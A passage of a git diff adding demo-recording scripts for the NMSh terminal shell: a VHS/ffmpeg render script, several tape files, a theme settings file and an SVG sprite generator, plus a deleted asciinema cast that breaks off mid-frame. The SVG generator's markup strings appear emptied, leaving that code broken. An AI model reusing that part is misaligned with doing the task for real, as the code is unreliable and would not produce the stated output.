`${inputs.length > 2 ? '[0][1]overlay' : '[0]null'},pad=iw+${PAD * 2}:ih+${PAD * 2}:${PAD}:${PAD}:color=${BACKGROUND}`; + const run = spawnSync('ffmpeg', ['-v', 'error', '-y', ...inputs, '-filter_complex', filter, '-frames:v', '1', resolve(repo, output)], {encoding: 'utf8'}); + if (run.status !== 0) fail(`ffmpeg could not write ${output}: ${run.stderr}`); +} + +// ---- Render ---------------------------------------------------------------------------- +const settings = readFileSync(join(here, 'settings.tape'), 'utf8'); +const results = []; +for (const name of selected) { + const source = readFileSync(join(here, `${name}.tape`), 'utf8'); + const output = /^Output "?([^"\s]+\.gif)"?$/mu.exec(source)?.[1]; + if (!output) fail(`${name}.tape needs one Output .gif line`); + const stills = [...source.matchAll(/^# demo-still: (\S+\.png) ([\d.]+)s$/gmu)].map(match => ({path: match[1], seconds: Number(match[2])})); + const configExtra = Object.assign({}, ...[...source.matchAll(/^# demo-config: (\{.*\})$/gmu)].map(match => JSON.parse(match[1]))); + const home = demoHome(configExtra); + try { + const env = demoEnv(home, tapeEnv(source)); + const frames = join(home.root, 'frames'); + // settings first (VHS requires Set commands before actions), then the demo environment, then the tape body. + const body = source.replace(/^Output .*$/mu, `Output ${quote(`${frames}/`)}`); + const composed = `${settings}\n${Object.entries(env).map(([key, value]) => `Env ${key} ${quote(value)}`).join('\n')}\n\n${body}`; + const file = join(home.root, `${name}.tape`); + writeFileSync(file, composed); + console.log(`demos: recording ${name}`); + const run = spawnSync('vhs', [file], {cwd: repo, stdio: ['ignore', 'pipe', 'inherit'], encoding: 'utf8', env: {...process.env, NO_COLOR: undefined}}); + if (run.status !== 0) fail(`vhs failed for ${name}:\n${run.stdout.slice(-2000)}`); + encodeGif(frames, output); + for (const still of stills) encodeStill(frames, still.path, still.seconds); + } finally { + await cleanup(home.root); + rmSync(home.root, {recursive: true, force: true, maxRetries: 5, retryDelay: 200}); + } + for (const file of [output, ...stills.map(still => still.path)]) results.push(`${file} ${(statSync(resolve(repo, file)).size / 1024).toFixed(0)} KiB`); +} + +// No recording may leave a keep-awake assertion or a demo process behind. +const stray = spawnSync('/bin/ps', ['-axo', 'pid=,command='], {encoding: 'utf8'}).stdout.split('\n').filter(line => /nmsh-demo-/u.test(line) && !line.includes('render.mjs')); +if (stray.length) fail(`demo processes survived:\n${stray.join('\n')}`); +console.log(`demos: done\n ${results.join('\n ')}`); diff --git a/scripts/demos/screensavers.tape b/scripts/demos/screensavers.tape new file mode 100644 index 00000000..80b3156e --- /dev/null +++ b/scripts/demos/screensavers.tape @@ -0,0 +1,45 @@ +# Screensavers: a few built-in idle visuals from the /screensaver gallery, including Bouncing Vespyr. +Output assets/readme/screensavers.gif + +Hide +Type "cd ~/Projects/demo && clear && nmsh" +Enter +Sleep 5s +Type "ls -la" +Enter +Sleep 1s +Show + +Type "/screensaver" +Sleep 0.5s +Enter +Sleep 3s +Right +Sleep 0.35s +Right +Sleep 0.35s +Sleep 2.5s +Right +Sleep 0.35s +Right +Sleep 0.35s +Right +Sleep 0.35s +Right +Sleep 0.35s +Sleep 2.5s +Enter +Sleep 5s +Type "q" +Sleep 1.2s +Right +Sleep 0.35s +Right +Sleep 0.35s +Sleep 1s +Enter +Sleep 6s +Type "q" +Sleep 1s +Escape +Sleep 1s diff --git a/scripts/demos/sessions.tape b/scripts/demos/sessions.tape new file mode 100644 index 00000000..d7c3a950 --- /dev/null +++ b/scripts/demos/sessions.tape @@ -0,0 +1,29 @@ +# Live sessions: the window goes away mid-build (SIGHUP, as a closing window sends) and the build keeps going; nmsh reattaches. +Output assets/readme/sessions.gif + +Hide +Type "cd ~/Projects/demo && clear" +Enter +Type "(sleep 13; pkill -HUP -P $$ -f bin/nmsh) &!" +Enter +Type "clear && nmsh" +Enter +Sleep 5s +Show + +Type "./build.sh" +Sleep 0.6s +Enter +Sleep 7s +Hide +Sleep 1s +Type "clear" +Enter +Show +Sleep 1s +Type "nmsh" +Sleep 0.5s +Enter +Sleep 3s +Enter +Sleep 6s diff --git a/scripts/demos/settings.tape b/scripts/demos/settings.tape new file mode 100644 index 00000000..07ea9124 --- /dev/null +++ b/scripts/demos/settings.tape @@ -0,0 +1,17 @@ +# Shared framing for every NMSh demo; render.mjs prepends it (and the demo +# environment) to each tape. Keep these consistent across recordings. +Set Shell "zsh" +Set FontFamily "JetBrainsMono Nerd Font Mono" +Set FontSize 15 +Set LineHeight 1.15 +Set Width 1080 +Set Height 640 +Set Padding 18 +Set WindowBar Colorful +Set BorderRadius 8 +Set Margin 0 +Set Framerate 24 +Set PlaybackSpeed 1 +Set TypingSpeed 70ms +Set CursorBlink false +Set Theme { "name": "NMSh Demo", "black": "#1b1a24", "red": "#cd737b", "green": "#74b59a", "yellow": "#e3c48f", "blue": "#8aa4e6", "magenta": "#c5b9e8", "cyan": "#7fc4cc", "white": "#d8d6de", "brightBlack": "#6b6f7b", "brightRed": "#e2939a", "brightGreen": "#94cdb4", "brightYellow": "#f0d9a8", "brightBlue": "#a9bdf0", "brightMagenta": "#dcd2f4", "brightCyan": "#a0d8de", "brightWhite": "#f2f0ec", "background": "#15141c", "foreground": "#f2f0ec", "selection": "#585f91", "cursor": "#c5b9e8" } diff --git a/scripts/demos/theme-bridge.tape b/scripts/demos/theme-bridge.tape new file mode 100644 index 00000000..a5fe288d --- /dev/null +++ b/scripts/demos/theme-bridge.tape @@ -0,0 +1,29 @@ +# Theme Bridge: the opt-in panel and integration health. Shows what NMSh would configure; nothing outside the demo home is touched. +Output assets/readme/theme-bridge.gif + +Hide +Type "cd ~/Projects/demo && clear && nmsh" +Enter +Sleep 5s +Show + +Type "/theme-bridge" +Sleep 0.5s +Enter +Sleep 2.5s +Down@2 +Sleep 1s +Down@2 +Sleep 1s +Enter +Sleep 2.5s +Escape +Sleep 0.8s +Escape +Sleep 0.8s +Type "/integrations" +Sleep 0.5s +Enter +Sleep 3s +Escape +Sleep 1s diff --git a/scripts/demos/themes.tape b/scripts/demos/themes.tape new file mode 100644 index 00000000..0fab9b95 --- /dev/null +++ b/scripts/demos/themes.tape @@ -0,0 +1,31 @@ +# Theme Studio: built-in themes with a live preview, then Duplicate → Custom. +Output assets/readme/themes.gif +# demo-still: assets/readme/theme-studio.png 3s + +Hide +Type "cd ~/Projects/demo && clear && nmsh" +Enter +Sleep 5s +Show + +Type "/theme" +Sleep 0.5s +Enter +Sleep 2s +Down +Sleep 1.2s +Down +Sleep 1.2s +Down@5 +Sleep 1.4s +Down@2 +Sleep 1.4s +Enter +Sleep 1.5s +Type "d" +Sleep 2.5s +Escape +Sleep 1s +Type "git status --short" +Enter +Sleep 2.5s diff --git a/scripts/demos/tools.tape b/scripts/demos/tools.tape new file mode 100644 index 00000000..c049e38c --- /dev/null +++ b/scripts/demos/tools.tape @@ -0,0 +1,37 @@ +# Providers and tools: the inline /providers panel and the /tools catalog (browsing only; nothing is installed). +Output assets/readme/tools.gif + +Hide +Type "cd ~/Projects/demo && clear && nmsh" +Enter +Sleep 5s +Show + +Type "/providers" +Sleep 0.5s +Enter +Sleep 2s +Enter +Sleep 2s +Escape +Sleep 0.8s +Escape +Sleep 0.8s +Type "/tools" +Sleep 0.5s +Enter +Sleep 2.5s +Down@3 +Sleep 1s +Down@3 +Sleep 1s +Enter +Sleep 2.5s +Escape +Sleep 0.8s +Type "git" +Sleep 2s +Escape +Sleep 0.5s +Escape +Sleep 1s diff --git a/scripts/demos/vespyr-svg.ts b/scripts/demos/vespyr-svg.ts new file mode 100644 index 00000000..b6d9915b --- /dev/null +++ b/scripts/demos/vespyr-svg.ts @@ -0,0 +1,44 @@ +/** + * Renders README art from Vespyr's real sprite (src/idle/catSprite.ts): the + * same pixels, poses and colors NMSh draws in the terminal, as a small + * transparent SVG divider. The only motion is the sprite's own blink pose, + * shown briefly every few seconds (SMIL, no script), so it stays calm. + * + * npx tsx scripts/demos/vespyr-svg.ts (writes assets/readme/vespyr-divider.svg) + */ +import {writeFileSync} from 'node:fs'; +import {CAT_BODY, CAT_EYE, catPixels} from '../../src/idle/catSprite.js'; + +const hex = (value: number) => `#${value.toString(16).padStart(6, '0')}`; +const PIXEL = 4; +const open = catPixels('idle'); +const blink = catPixels('blink'); +const width = 800, height = 44; +// Vespyr sits centered on the rule, facing the way the sprite faces (left). +const baseline = 38; +const originX = 400 - (open[0]!.length * PIXEL) / 2, originY = baseline - open.length * PIXEL; + +const rects: string[] = []; +open.forEach((row, y) => [...row].forEach((pixel, x) => { + if (pixel === '.') return; + const at = `x="${originX + x * PIXEL}" y="${originY + y * PIXEL}" width="${PIXEL}" height="${PIXEL}"`; + if (pixel === 'E' && blink[y]![x] !== 'E') rects.push(``); + else rects.push(``); +})); + +const svg = ` + + + + ${rects.join('\n ')} + +`; + +writeFileSync(new URL('../../assets/readme/vespyr-divider.svg', import.meta.url), svg); +console.log(`vespyr-divider.svg: ${svg.length} bytes`); diff --git a/scripts/readme-demo/demo.cast b/scripts/readme-demo/demo.cast deleted file mode 100644 index bd64c18d..00000000 --- a/scripts/readme-demo/demo.cast +++ /dev/null @@ -1,122 +0,0 @@ -{"version":3,"term":{"cols":90,"rows":18,"type":"tmux-256color","version":"tmux 3.7c"},"timestamp":1790110347,"command":"./bin/nmsh","env":{"SHELL":"/bin/zsh"}} -[0.661, "o", "\u001b[?1049h\u001b[>1u\u001b[?2004h\u001b[?1000h\u001b[?1006h\u001b[?25l\u001b[2J\u001b[H"] -[0.025, "o", "\u001b[?25l\u001b[1;1H\u001b[2K\u001b[0m\u001b[2;1H\u001b[2K\u001b[0m\u001b[3;1H\u001b[2K\u001b[0m\u001b[4;1H\u001b[2K\u001b[0m\u001b[5;1H\u001b[2K\u001b[0m\u001b[6;1H\u001b[2K\u001b[0m\u001b[7;1H\u001b[2K\u001b[0m\u001b[8;1H\u001b[2K\u001b[0m\u001b[9;1H\u001b[2K\u001b[0m\u001b[10;1H\u001b[2K\u001b[0m\u001b[11;1H\u001b[2K\u001b[0m\u001b[12;1H\u001b[2K\u001b[0m\u001b[13;1H\u001b[2K\u001b[0m\u001b[14;1H\u001b[2K\u001b[0m\u001b[15;1H\u001b[2K\u001b[0m\u001b[16;1H\u001b[2K\u001b[38;2;245;244;250m\u001b[48;2;84;82;132m … \u001b[0m\u001b[38;2;84;82;132m▓▒░ \u001b[38;2;139;132;178m───────────────────────────────────────────────────────────────────────────────────\u001b[0m\u001b[0m\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[0m\u001b[18;1H\u001b[2K\u001b[38;2;139;132;178m──────────────────────────────────────────────────────────────────────────────────────────\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.413, "o", "\u001b[?25l\u001b[16;1H\u001b[2K\u001b[38;2;245;244;250m\u001b[48;2;84;82;132m notMyShell \u001b[38;2;84;82;132m\u001b[48;2;52;105;98m\u001b[38;2;239;248;246m\u001b[48;2;52;105;98m  master \u001b[0m\u001b[38;2;52;105;98m▓▒░ \u001b[38;2;139;132;178m───────────────────────────────────────────────────────────────\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[2.433, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236mg\u001b[0m\u001b[38;2;176;184;194mit init\u001b[0m\u001b[0m\u001b[17;4H\u001b[?25h"] -[0.002, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123mg\u001b[0m\u001b[38;2;176;184;194mit init\u001b[0m\u001b[0m\u001b[17;4H\u001b[?25h"] -[0.106, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236mg\u001b[0m\u001b[38;2;242;240;236mt\u001b[0m\u001b[0m\u001b[17;5H\u001b[?25h"] -[0.011, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123mg\u001b[0m\u001b[38;2;205;115;123mt\u001b[0m\u001b[0m\u001b[17;5H\u001b[?25h"] -[0.071, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236mg\u001b[0m\u001b[38;2;242;240;236mt\u001b[0m\u001b[38;2;242;240;236mi\u001b[0m\u001b[0m\u001b[17;6H\u001b[?25h"] -[0.008, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123mg\u001b[0m\u001b[38;2;205;115;123mt\u001b[0m\u001b[38;2;205;115;123mi\u001b[0m\u001b[0m\u001b[17;6H\u001b[?25h"] -[0.077, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123mg\u001b[0m\u001b[38;2;205;115;123mt\u001b[0m\u001b[38;2;205;115;123mi\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[0m\u001b[17;7H\u001b[?25h"] -[0.061, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123mg\u001b[0m\u001b[38;2;205;115;123mt\u001b[0m\u001b[38;2;205;115;123mi\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236ms\u001b[0m\u001b[0m\u001b[17;8H\u001b[?25h"] -[0.077, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123mg\u001b[0m\u001b[38;2;205;115;123mt\u001b[0m\u001b[38;2;205;115;123mi\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236ms\u001b[0m\u001b[38;2;242;240;236mt\u001b[0m\u001b[0m\u001b[17;9H\u001b[?25h"] -[0.104, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123mg\u001b[0m\u001b[38;2;205;115;123mt\u001b[0m\u001b[38;2;205;115;123mi\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236ms\u001b[0m\u001b[38;2;242;240;236mt\u001b[0m\u001b[38;2;242;240;236ma\u001b[0m\u001b[0m\u001b[17;10H\u001b[?25h"] -[0.114, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123mg\u001b[0m\u001b[38;2;205;115;123mt\u001b[0m\u001b[38;2;205;115;123mi\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236ms\u001b[0m\u001b[38;2;242;240;236mt\u001b[0m\u001b[38;2;242;240;236ma\u001b[0m\u001b[38;2;242;240;236mt\u001b[0m\u001b[0m\u001b[17;11H\u001b[?25h"] -[0.129, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123mg\u001b[0m\u001b[38;2;205;115;123mt\u001b[0m\u001b[38;2;205;115;123mi\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236ms\u001b[0m\u001b[38;2;242;240;236mt\u001b[0m\u001b[38;2;242;240;236ma\u001b[0m\u001b[38;2;242;240;236mt\u001b[0m\u001b[38;2;242;240;236mu\u001b[0m\u001b[0m\u001b[17;12H\u001b[?25h"] -[0.053, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123mg\u001b[0m\u001b[38;2;205;115;123mt\u001b[0m\u001b[38;2;205;115;123mi\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;242;240;236ms\u001b[0m\u001b[38;2;242;240;236mt\u001b[0m\u001b[38;2;242;240;236ma\u001b[0m\u001b[38;2;242;240;236mt\u001b[0m\u001b[38;2;242;240;236mu\u001b[0m\u001b[38;2;242;240;236ms\u001b[0m\u001b[0m\u001b[17;13H\u001b[?25h"] -[1.288, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[0m\u001b[17;3H\u001b[?25h"] -[0.671, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123mg\u001b[0m\u001b[38;2;176;184;194mit init\u001b[0m\u001b[0m\u001b[17;4H\u001b[?25h"] -[0.067, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236mg\u001b[0m\u001b[38;2;242;240;236mi\u001b[0m\u001b[38;2;176;184;194mt init\u001b[0m\u001b[0m\u001b[17;5H\u001b[?25h"] -[0.014, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123mg\u001b[0m\u001b[38;2;205;115;123mi\u001b[0m\u001b[38;2;176;184;194mt init\u001b[0m\u001b[0m\u001b[17;5H\u001b[?25h"] -[0.050, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236mg\u001b[0m\u001b[38;2;242;240;236mi\u001b[0m\u001b[38;2;242;240;236mt\u001b[0m\u001b[38;2;176;184;194m init\u001b[0m\u001b[0m\u001b[17;6H\u001b[?25h"] -[0.002, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mi\u001b[0m\u001b[38;2;197;185;232mt\u001b[0m\u001b[38;2;176;184;194m init\u001b[0m\u001b[0m\u001b[17;6H\u001b[?25h"] -[0.088, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mi\u001b[0m\u001b[38;2;197;185;232mt\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194minit\u001b[0m\u001b[0m\u001b[17;7H\u001b[?25h"] -[0.171, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mi\u001b[0m\u001b[38;2;197;185;232mt\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194m-no-pager diff -- Mac/OpenSidecarMacApp.swift\u001b[0m\u001b[0m\u001b[17;8H\u001b[?25h"] -[0.041, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mi\u001b[0m\u001b[38;2;197;185;232mt\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194mno-pager diff -- Mac/OpenSidecarMacApp.swift\u001b[0m\u001b[0m\u001b[17;9H\u001b[?25h"] -[0.053, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mi\u001b[0m\u001b[38;2;197;185;232mt\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194mv\u001b[0m\u001b[0m\u001b[17;10H\u001b[?25h"] -[0.117, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mi\u001b[0m\u001b[38;2;197;185;232mt\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194mv\u001b[0m\u001b[38;2;176;184;194me\u001b[0m\u001b[0m\u001b[17;11H\u001b[?25h"] -[0.073, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mi\u001b[0m\u001b[38;2;197;185;232mt\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194mv\u001b[0m\u001b[38;2;176;184;194me\u001b[0m\u001b[38;2;176;184;194mr\u001b[0m\u001b[0m\u001b[17;12H\u001b[?25h"] -[0.092, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mi\u001b[0m\u001b[38;2;197;185;232mt\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194mv\u001b[0m\u001b[38;2;176;184;194me\u001b[0m\u001b[38;2;176;184;194mr\u001b[0m\u001b[38;2;176;184;194ms\u001b[0m\u001b[0m\u001b[17;13H\u001b[?25h"] -[0.079, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mi\u001b[0m\u001b[38;2;197;185;232mt\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194mv\u001b[0m\u001b[38;2;176;184;194me\u001b[0m\u001b[38;2;176;184;194mr\u001b[0m\u001b[38;2;176;184;194ms\u001b[0m\u001b[38;2;176;184;194mi\u001b[0m\u001b[0m\u001b[17;14H\u001b[?25h"] -[0.075, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mi\u001b[0m\u001b[38;2;197;185;232mt\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194mv\u001b[0m\u001b[38;2;176;184;194me\u001b[0m\u001b[38;2;176;184;194mr\u001b[0m\u001b[38;2;176;184;194ms\u001b[0m\u001b[38;2;176;184;194mi\u001b[0m\u001b[38;2;176;184;194mo\u001b[0m\u001b[0m\u001b[17;15H\u001b[?25h"] -[0.075, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232mg\u001b[0m\u001b[38;2;197;185;232mi\u001b[0m\u001b[38;2;197;185;232mt\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194m-\u001b[0m\u001b[38;2;176;184;194mv\u001b[0m\u001b[38;2;176;184;194me\u001b[0m\u001b[38;2;176;184;194mr\u001b[0m\u001b[38;2;176;184;194ms\u001b[0m\u001b[38;2;176;184;194mi\u001b[0m\u001b[38;2;176;184;194mo\u001b[0m\u001b[38;2;176;184;194mn\u001b[0m\u001b[0m\u001b[17;16H\u001b[?25h"] -[1.272, "o", "\u001b[?25l\u001b[13;1H\u001b[2K\u001b[0m\u001b[38;2;242;240;236m❯ \u001b[0m\u001b[38;2;197;185;232mgit\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m--version\u001b[0m\u001b[0m\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m·\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mR\u001b[38;2;139;132;178mo\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178ms\u001b[38;2;139;132;178mt\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (0.0s)\u001b[0m\u001b[0m\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[0m\u001b[17;3H\u001b[?25h"] -[0.039, "o", "\u001b[?25l\u001b[12;1H\u001b[2K\u001b[0m\u001b[38;2;242;240;236m❯ \u001b[0m\u001b[38;2;197;185;232mgit\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m--version\u001b[0m\u001b[0m\u001b[13;1H\u001b[2Kgit version 2.55.0\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.013, "o", "\u001b[?25l\u001b[11;1H\u001b[2K\u001b[0m\u001b[38;2;242;240;236m❯ \u001b[0m\u001b[38;2;197;185;232mgit\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m--version\u001b[0m\u001b[0m\u001b[12;1H\u001b[2Kgit version 2.55.0\u001b[0m\u001b[0m\u001b[13;1H\u001b[2K\u001b[0m\u001b[0m\u001b[14;1H\u001b[2K\u001b[0m\u001b[38;2;116;181;154m✔ Roasted for 0.0s\u001b[0m\u001b[38;2;116;181;154m\u001b[38;2;176;184;194m · done 02:22\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[1.953, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;176;184;194mnd = s.index(\">>>>>>> fork/fix/mirror-capture-recovery-pause\", start)\u001b[0m\u001b[0m\u001b[17;4H\u001b[?25h"] -[0.003, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123me\u001b[0m\u001b[38;2;176;184;194mnd = s.index(\">>>>>>> fork/fix/mirror-capture-recovery-pause\", start)\u001b[0m\u001b[0m\u001b[17;4H\u001b[?25h"] -[0.075, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;242;240;236mc\u001b[0m\u001b[38;2;176;184;194mho \"-----\"\u001b[0m\u001b[0m\u001b[17;5H\u001b[?25h"] -[0.001, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123me\u001b[0m\u001b[38;2;205;115;123mc\u001b[0m\u001b[38;2;176;184;194mho \"-----\"\u001b[0m\u001b[0m\u001b[17;5H\u001b[?25h"] -[0.071, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;242;240;236mc\u001b[0m\u001b[38;2;242;240;236mh\u001b[0m\u001b[38;2;176;184;194mo \"-----\"\u001b[0m\u001b[0m\u001b[17;6H\u001b[?25h"] -[0.001, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123me\u001b[0m\u001b[38;2;205;115;123mc\u001b[0m\u001b[38;2;205;115;123mh\u001b[0m\u001b[38;2;176;184;194mo \"-----\"\u001b[0m\u001b[0m\u001b[17;6H\u001b[?25h"] -[0.070, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;242;240;236mc\u001b[0m\u001b[38;2;242;240;236mh\u001b[0m\u001b[38;2;242;240;236mo\u001b[0m\u001b[38;2;176;184;194m \"-----\"\u001b[0m\u001b[0m\u001b[17;7H\u001b[?25h"] -[0.002, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;176;184;194m \"-----\"\u001b[0m\u001b[0m\u001b[17;7H\u001b[?25h"] -[0.071, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m\"-----\"\u001b[0m\u001b[0m\u001b[17;8H\u001b[?25h"] -[0.074, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;198;156;109m\"\u001b[0m\u001b[38;2;176;184;194m-----\"\u001b[0m\u001b[0m\u001b[17;9H\u001b[?25h"] -[0.073, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mc\u001b[0m\u001b[38;2;197;185;232mh\u001b[0m\u001b[38;2;197;185;232mo\u001b[0m\u001b[38;2;242;240;236m 